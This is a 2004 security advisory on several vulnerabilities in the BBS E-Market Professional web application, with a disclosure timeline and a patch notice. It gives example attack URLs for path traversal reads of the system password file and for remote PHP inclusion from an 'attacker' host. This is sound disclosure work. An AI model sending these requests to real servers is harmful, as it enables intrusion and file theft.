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STG Security Advisory: [SSA-20040915-07]
BBS E-Market Professional multiple vulnerabilities

Revision 1.0
Date Published: 2004-09-15 (KST)
Last Update: 2004-09-15
Disclosed by SSR Team (advisory@stgsecurity.com)


Abstract
========
BBS E-Market(Bobusang in Korean pronunciation) is one of popular
web Applications used by web-hosting companies and personal
shopping malls in Korea. It has many features including
commercial shopping mall, auction and community.

It has multiple vulnerabilities allowing malicious attackers to
execute arbitrary commands and glean information on
the targeted system with the privilege of the HTTPD process,
which is typically run as the nobody user.

Vulnerability Class
===================
Implementation Error: Input validation flaw

Details
=======
1. Installation path disclosure vulnerability
Malicious attackers can cause the system to display an
error message including a installation path.

http://[victim]/bemarket/shop/index.php?pageurl=[any url]

2. File download and user authentication bypass vulnerabilities
Malicious attackers can download arbitrary files on the
targeted system with the privilege of the HTTPD process,
which is typically run as the nobody user.

http://[victim]/becommunity/board/f_down.php?dn_path=
/../../../../../../../../../[etc]/[passwd]

E-Market community service requires users be authenticated
to download community files but unauthenticated users can
download arbitrary files.

3. File disclosure vulnerability
Malicious attackers can read arbitrary files on the
targeted system with the privilege of the HTTPD process,
which is typically run as the nobody user.

http://[victim]/bemarket/shop/index.php?pageurl=viewpage&
filename=../../../../../../../../[etc]/[passwd]

4. Malicious php source injection vulnerability
Malicious attackers can run arbitrary command on the
targeted system with the privilege of the HTTPD process,
which is typically run as the nobody user.

http://[victim]/becommunity/community/index.php?pageurl=
[http://attacker/malicious php source]

Impact
======
Very High and Urgent.
Indonesian security community has already disclosed some
vulnerabilities of E-Market application.
http://echo.or.id/adv/adv06-y3dips-2004.txt

Solution
=========
Apply patch.
Current patch level is bf_140 (v1.4.0) and not vulnerable.


Affected Products
================
BBS E-Market patch level bf_130 (v1.3.0) and prior

Vendor Status: FIXED
=======================
2004-07-09 Jeong Jin-Seok found the vulnerabilities.
2004-07-09 NTSoft,Inc. notified.
2004-07-09 E-Market developer confirmed.
2004-07-23 A patch released to their customers.
2004-09-07 y3dips at echo.or.id released some vulnerabilities.
2004-09-15 Official release.

Credits
======
Jeong Jin-Seok at STG Security 
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